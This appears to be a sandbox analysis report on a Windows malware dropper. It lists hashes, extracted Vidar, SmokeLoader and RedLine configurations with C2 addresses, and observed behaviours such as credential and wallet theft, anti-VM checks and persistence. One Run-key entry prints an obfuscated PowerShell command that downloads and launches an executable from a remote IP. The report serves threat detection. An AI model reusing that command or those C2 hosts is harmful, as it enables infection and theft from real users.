Overview
overview
10Static
static
8 (1).exe
windows7_x64
108 (1).exe
windows10_x64
108 (10).exe
windows7_x64
108 (10).exe
windows10_x64
108 (11).exe
windows7_x64
108 (11).exe
windows10_x64
108 (12).exe
windows7_x64
108 (12).exe
windows10_x64
108 (13).exe
windows7_x64
108 (13).exe
windows10_x64
108 (14).exe
windows7_x64
108 (14).exe
windows10_x64
108 (15).exe
windows7_x64
108 (15).exe
windows10_x64
108 (16).exe
windows7_x64
108 (16).exe
windows10_x64
108 (17).exe
windows7_x64
108 (17).exe
windows10_x64
108 (18).exe
windows7_x64
108 (18).exe
windows10_x64
108 (19).exe
windows7_x64
108 (19).exe
windows10_x64
108 (2).exe
windows7_x64
108 (2).exe
windows10_x64
108 (20).exe
windows7_x64
108 (20).exe
windows10_x64
108 (21).exe
windows7_x64
108 (21).exe
windows10_x64
8 (22).exe
windows7_x64
108 (22).exe
windows10_x64
108 (23).exe
windows7_x64
108 (23).exe
windows10_x64
10Resubmissions
13-08-2021 10:16
210813-wpta271jdx 1008-08-2021 23:00
210808-fgs5g9pxfs 1007-08-2021 23:12
210807-g2jw1lmd4a 1007-08-2021 16:10
210807-51nhct4kfx 1006-08-2021 23:43
210806-gc2271nxwj 1006-08-2021 06:00
210806-f443x39x8a 1005-08-2021 17:08
210805-97y6banvvx 1004-08-2021 17:25
210804-hkxx2ntr8x 1004-08-2021 12:12
210804-rjbg4b4y7n 1003-08-2021 17:12
210803-r2h7ytjwqj 10Analysis
-
max time kernel
1801s -
max time network
1815s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
07-08-2021 16:10
Static task
static1
Behavioral task
behavioral1
Sample
8 (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
8 (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
8 (10).exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
8 (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
8 (11).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
8 (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
8 (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
8 (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
8 (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
8 (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
8 (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
8 (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
8 (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
8 (15).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
8 (16).exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
8 (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
8 (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
8 (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
8 (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
8 (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
8 (19).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
8 (19).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
8 (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
8 (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
8 (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
8 (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
8 (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
8 (21).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
8 (22).exe
Resource
win7v20210408
Behavioral task
behavioral30
Sample
8 (22).exe
Resource
win10v20210410
General
-
Target
8 (22).exe
-
Size
3.0MB
-
MD5
bb072cad921aa5ce8b97706ce01bc570
-
SHA1
18bf034906c1341b7817e7361ad27a4425d820bd
-
SHA256
817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97
-
SHA512
d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474
Malware Config
Extracted
vidar
39.6
933
https://sslamlssa1.tumblr.com/
-
profile_id
933
Extracted
smokeloader
2020
http://conceitosseg.com/upload/
http://integrasidata.com/upload/
http://ozentekstil.com/upload/
http://finbelportal.com/upload/
http://telanganadigital.com/upload/
Extracted
redline
Focus1
135.148.139.222:33569
Extracted
vidar
39.9
937
https://prophefliloc.tumblr.com/
-
profile_id
937
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rUNdlL32.eXerUNdlL32.eXerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4108 3584 rUNdlL32.eXe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5416 5880 rUNdlL32.eXe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5384 5880 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
Processes:
resource yara_rule behavioral30/memory/4352-332-0x0000000000418E5A-mapping.dmp family_redline behavioral30/memory/4352-331-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral30/memory/5124-397-0x0000000005070000-0x000000000509B000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\EmwjKdpODJgiyRb9ctmvoXYi.exe family_socelars C:\Users\Admin\Documents\EmwjKdpODJgiyRb9ctmvoXYi.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 4780 created 2116 4780 WerFault.exe sonia_3.exe PID 4256 created 5092 4256 WerFault.exe svchost.exe PID 5940 created 5068 5940 WerFault.exe Q9Xxjro0jH0zlr6RfKi9LgBE.exe PID 5592 created 3856 5592 WerFault.exe IprBwC3NfjasNXgUjJGkEVCg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
svchost.exedescription pid process target process PID 5772 created 4484 5772 svchost.exe 4gaqjB5f8pyUb1xMYoRW5tyv.exe -
suricata: ET MALWARE GCleaner Downloader Activity M1
suricata: ET MALWARE GCleaner Downloader Activity M1
-
suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
-
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
-
suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Nirsoft 1 IoCs
Processes:
resource yara_rule behavioral30/memory/5384-388-0x0000000000400000-0x0000000000455000-memory.dmp Nirsoft -
Vidar Stealer 3 IoCs
Processes:
resource yara_rule behavioral30/memory/2116-202-0x0000000000A20000-0x0000000000B6A000-memory.dmp family_vidar behavioral30/memory/2116-205-0x0000000000400000-0x00000000008F2000-memory.dmp family_vidar behavioral30/memory/4636-341-0x0000000000400000-0x0000000002CBD000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS878B0B14\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libstdc++-6.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS878B0B14\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS878B0B14\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libcurlpp.dll aspack_v212_v242 -
Blocklisted process makes network request 59 IoCs
Processes:
rundll32.exepowershell.exeMsiExec.exeMsiExec.exeflow pid process 203 5384 rundll32.exe 208 5384 rundll32.exe 221 5916 powershell.exe 258 6844 MsiExec.exe 260 6844 MsiExec.exe 263 6844 MsiExec.exe 265 6844 MsiExec.exe 267 6844 MsiExec.exe 268 6844 MsiExec.exe 269 6844 MsiExec.exe 270 6844 MsiExec.exe 271 6844 MsiExec.exe 272 6844 MsiExec.exe 273 6844 MsiExec.exe 276 6844 MsiExec.exe 277 6844 MsiExec.exe 279 6844 MsiExec.exe 280 6844 MsiExec.exe 284 6844 MsiExec.exe 290 6844 MsiExec.exe 295 6844 MsiExec.exe 296 6844 MsiExec.exe 301 6844 MsiExec.exe 303 6844 MsiExec.exe 304 6844 MsiExec.exe 305 6844 MsiExec.exe 307 6844 MsiExec.exe 308 6844 MsiExec.exe 311 6844 MsiExec.exe 312 6844 MsiExec.exe 315 6844 MsiExec.exe 316 6844 MsiExec.exe 319 6844 MsiExec.exe 320 6844 MsiExec.exe 321 6844 MsiExec.exe 322 6844 MsiExec.exe 323 6844 MsiExec.exe 326 6844 MsiExec.exe 329 6844 MsiExec.exe 330 6844 MsiExec.exe 332 6844 MsiExec.exe 333 6844 MsiExec.exe 335 6844 MsiExec.exe 336 6844 MsiExec.exe 337 6844 MsiExec.exe 344 6844 MsiExec.exe 345 4724 MsiExec.exe 347 4724 MsiExec.exe 348 6844 MsiExec.exe 349 6844 MsiExec.exe 350 6844 MsiExec.exe 351 6844 MsiExec.exe 356 6844 MsiExec.exe 345 4724 MsiExec.exe 347 4724 MsiExec.exe 420 4724 MsiExec.exe 421 4724 MsiExec.exe 422 4724 MsiExec.exe 423 4724 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
Daldoula.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts Daldoula.exe -
Executes dropped EXE 64 IoCs
Processes:
setup_installer.exesetup_install.exesonia_1.exesonia_2.exesonia_3.exesonia_4.exesonia_6.exesonia_5.exeIprBwC3NfjasNXgUjJGkEVCg.exejfiag3g_gg.exeEmwjKdpODJgiyRb9ctmvoXYi.exeZHtePOfS_Ww0iKZouxbIehMv.exeXm6doaihs5VOvW7wKbxwfwIg.exeLVI197Bb0E_VhRRhHFxlh79S.exeQ9Xxjro0jH0zlr6RfKi9LgBE.exe09rYofYZqDSRq9ZAjItpZdG_.exe5UTuIf0rdfCrMJ8vtnOyzHfI.exeUcRaSxz0CsWqz0I1U5SuBHIg.exe4gaqjB5f8pyUb1xMYoRW5tyv.exeXww17S4wUSUHXurzJsrX0xDG.exeG0uX0xj1WDjQnxRPxonfgkGj.exeZLWk3blAcv9tMRjjpwTQdTzR.exeTBqzQc94ZWVXs4O1CNShD5xN.exeqiEnfumGGOe0lbJM9Z0mbe1G.exe11111.exeQRtYiYRjCmRwzR_b1hNEkQe6.exe8nBBF6A09bPA8BE6W9t3joo4.exeLw59AVnnwEVS2qBkUzd1SH7M.exejfiag3g_gg.exe7H8CXZBybsM4G7UvxEKtGhre.execustomer3.exemd8_8eus.exejooyu.exe7H8CXZBybsM4G7UvxEKtGhre.tmpUcRaSxz0CsWqz0I1U5SuBHIg.exejfiag3g_gg.exeLVI197Bb0E_VhRRhHFxlh79S.exe7382290.exe2532288.exerundll32.exejfiag3g_gg.exe3570645.exe6135738.exe11111.exe11111.exeSetup.exe11111.exejfiag3g_gg.exeGameBox32Bit.exerUNdlL32.eXeConhost.exeSppExtComObj.exeGameBoxWin64.exeGameBoxWin32.tmpjfiag3g_gg.exe11111.exeBotCheck.exe22222.exepowershell.exe5124865.exe1111657.exepid process 2168 setup_installer.exe 2916 setup_install.exe 748 sonia_1.exe 2120 sonia_2.exe 2116 sonia_3.exe 1220 sonia_4.exe 3924 sonia_6.exe 2288 sonia_5.exe 3856 IprBwC3NfjasNXgUjJGkEVCg.exe 2804 jfiag3g_gg.exe 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe 5004 ZHtePOfS_Ww0iKZouxbIehMv.exe 4988 Xm6doaihs5VOvW7wKbxwfwIg.exe 4996 LVI197Bb0E_VhRRhHFxlh79S.exe 5068 Q9Xxjro0jH0zlr6RfKi9LgBE.exe 5104 09rYofYZqDSRq9ZAjItpZdG_.exe 3856 IprBwC3NfjasNXgUjJGkEVCg.exe 4320 5UTuIf0rdfCrMJ8vtnOyzHfI.exe 4444 UcRaSxz0CsWqz0I1U5SuBHIg.exe 4484 4gaqjB5f8pyUb1xMYoRW5tyv.exe 4400 Xww17S4wUSUHXurzJsrX0xDG.exe 4152 G0uX0xj1WDjQnxRPxonfgkGj.exe 4636 ZLWk3blAcv9tMRjjpwTQdTzR.exe 4688 TBqzQc94ZWVXs4O1CNShD5xN.exe 5036 qiEnfumGGOe0lbJM9Z0mbe1G.exe 2496 11111.exe 2284 QRtYiYRjCmRwzR_b1hNEkQe6.exe 4160 8nBBF6A09bPA8BE6W9t3joo4.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 4968 jfiag3g_gg.exe 4736 7H8CXZBybsM4G7UvxEKtGhre.exe 4472 customer3.exe 4116 md8_8eus.exe 3576 jooyu.exe 4480 7H8CXZBybsM4G7UvxEKtGhre.tmp 4808 UcRaSxz0CsWqz0I1U5SuBHIg.exe 5064 jfiag3g_gg.exe 4352 LVI197Bb0E_VhRRhHFxlh79S.exe 4136 7382290.exe 5124 2532288.exe 5384 rundll32.exe 5468 jfiag3g_gg.exe 5628 3570645.exe 5692 6135738.exe 5892 11111.exe 6052 11111.exe 6136 Setup.exe 4380 11111.exe 5280 jfiag3g_gg.exe 5424 GameBox32Bit.exe 5416 rUNdlL32.eXe 5444 Conhost.exe 5384 rundll32.exe 5488 SppExtComObj.exe 748 GameBoxWin64.exe 5408 GameBoxWin32.tmp 5676 jfiag3g_gg.exe 5984 11111.exe 5208 BotCheck.exe 2424 22222.exe 5676 jfiag3g_gg.exe 5916 powershell.exe 5268 5124865.exe 4964 1111657.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx -
Processes:
resource yara_rule behavioral30/memory/4116-321-0x0000000000400000-0x000000000067D000-memory.dmp vmprotect -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
qiEnfumGGOe0lbJM9Z0mbe1G.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion qiEnfumGGOe0lbJM9Z0mbe1G.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion qiEnfumGGOe0lbJM9Z0mbe1G.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
sonia_5.exeQojaenozhezho.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation sonia_5.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Qojaenozhezho.exe -
Drops startup file 3 IoCs
Processes:
customer3.exeRuntimebroker.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fastsystem2021.exe customer3.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fastsystem2021.exe customer3.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk Runtimebroker.exe -
Loads dropped DLL 64 IoCs
Processes:
setup_install.exesonia_2.exerundll32.exeLw59AVnnwEVS2qBkUzd1SH7M.exe7H8CXZBybsM4G7UvxEKtGhre.tmp11111.exeZLWk3blAcv9tMRjjpwTQdTzR.exeGameBoxWin64.exeGameBoxWin32.tmprundll32.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeinstaller.exeMsiExec.exepid process 2916 setup_install.exe 2916 setup_install.exe 2916 setup_install.exe 2916 setup_install.exe 2916 setup_install.exe 2120 sonia_2.exe 4132 rundll32.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 4480 7H8CXZBybsM4G7UvxEKtGhre.tmp 4480 7H8CXZBybsM4G7UvxEKtGhre.tmp 2496 11111.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 4636 ZLWk3blAcv9tMRjjpwTQdTzR.exe 4636 ZLWk3blAcv9tMRjjpwTQdTzR.exe 748 GameBoxWin64.exe 748 GameBoxWin64.exe 5408 GameBoxWin32.tmp 4760 rundll32.exe 748 GameBoxWin64.exe 4292 MsiExec.exe 4292 MsiExec.exe 6844 MsiExec.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 6844 MsiExec.exe 6844 MsiExec.exe 6844 MsiExec.exe 6844 MsiExec.exe 6844 MsiExec.exe 6844 MsiExec.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 6844 MsiExec.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 6844 MsiExec.exe 6844 MsiExec.exe 748 GameBoxWin64.exe 6844 MsiExec.exe 6844 MsiExec.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 5256 MsiExec.exe 5256 MsiExec.exe 5256 MsiExec.exe 5256 MsiExec.exe 5256 MsiExec.exe 5256 MsiExec.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 5256 MsiExec.exe 6844 MsiExec.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 4816 Lw59AVnnwEVS2qBkUzd1SH7M.exe 4724 MsiExec.exe 4724 MsiExec.exe 4724 MsiExec.exe 4724 MsiExec.exe 4724 MsiExec.exe 6988 installer.exe 6988 installer.exe 6988 installer.exe 2560 MsiExec.exe 2560 MsiExec.exe 4724 MsiExec.exe 4724 MsiExec.exe 4724 MsiExec.exe 4724 MsiExec.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral30/memory/5036-336-0x0000000001010000-0x0000000001011000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
sonia_6.exe5124865.exeDaldoula.exepowershell.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" sonia_6.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 5124865.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Sidebar\\Wipapishuvu.exe\"" Daldoula.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Sound device = "Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile(('http://91'+'.241'+'.19'+'.52/Ru'+'nt'+'im'+'ebr'+'oke'+'r.exe'),('Vpnm.'+'e'+'xe'));Start-Process ('V'+'p'+'nm.exe')" powershell.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
md8_8eus.exerundll32.exeqiEnfumGGOe0lbJM9Z0mbe1G.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md8_8eus.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA qiEnfumGGOe0lbJM9Z0mbe1G.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
GameBoxWin64.exemsiexec.exeinstaller.exedescription ioc process File opened (read-only) \??\B: GameBoxWin64.exe File opened (read-only) \??\L: GameBoxWin64.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: GameBoxWin64.exe File opened (read-only) \??\V: GameBoxWin64.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\M: GameBoxWin64.exe File opened (read-only) \??\R: GameBoxWin64.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\P: GameBoxWin64.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: GameBoxWin64.exe File opened (read-only) \??\N: GameBoxWin64.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\K: GameBoxWin64.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\X: GameBoxWin64.exe File opened (read-only) \??\Y: GameBoxWin64.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\Z: GameBoxWin64.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\J: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: GameBoxWin64.exe File opened (read-only) \??\W: GameBoxWin64.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: GameBoxWin64.exe File opened (read-only) \??\Q: GameBoxWin64.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\S: GameBoxWin64.exe File opened (read-only) \??\G: GameBoxWin64.exe File opened (read-only) \??\H: GameBoxWin64.exe File opened (read-only) \??\U: GameBoxWin64.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\L: installer.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 11 ipinfo.io 12 ipinfo.io 18 ip-api.com 141 ipinfo.io 144 ipinfo.io 377 ip-api.com -
Drops file in System32 directory 17 IoCs
Processes:
svchost.exerundll32.exesvchost.exedescription ioc process File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\System32\Tasks\hdvAaRs svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent D3A3B7E63379D432 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent B721F21084BD8C8E svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
qiEnfumGGOe0lbJM9Z0mbe1G.exepid process 5036 qiEnfumGGOe0lbJM9Z0mbe1G.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
svchost.exeUcRaSxz0CsWqz0I1U5SuBHIg.exeLVI197Bb0E_VhRRhHFxlh79S.exeDir.exe.comcgebcbwcgebcbwdescription pid process target process PID 2576 set thread context of 4220 2576 svchost.exe svchost.exe PID 2576 set thread context of 3160 2576 svchost.exe svchost.exe PID 2576 set thread context of 5092 2576 svchost.exe svchost.exe PID 4444 set thread context of 4808 4444 UcRaSxz0CsWqz0I1U5SuBHIg.exe UcRaSxz0CsWqz0I1U5SuBHIg.exe PID 4996 set thread context of 4352 4996 LVI197Bb0E_VhRRhHFxlh79S.exe LVI197Bb0E_VhRRhHFxlh79S.exe PID 6352 set thread context of 7860 6352 Dir.exe.com RegAsm.exe PID 5564 set thread context of 6004 5564 cgebcbw cgebcbw PID 7752 set thread context of 4832 7752 cgebcbw cgebcbw -
Drops file in Program Files directory 64 IoCs
Processes:
Lw59AVnnwEVS2qBkUzd1SH7M.exemd8_8eus.exedata_load.exerundll32.exepowershell.exeultramediaburner.tmpDaldoula.exedescription ioc process File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\offset_window.html Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_mms_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\keystore\libfile_keystore_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mlp_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\sd\jamendo.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\librtp_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libps_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libreal_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\Company\NewProduct\tmp.edb md8_8eus.exe File opened for modification C:\Program Files\temp_files\data.dll data_load.exe File created C:\Program Files (x86)\lighteningplayer\2 Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\host.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libcaf_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\mobile.css Lw59AVnnwEVS2qBkUzd1SH7M.exe File opened for modification C:\Program Files 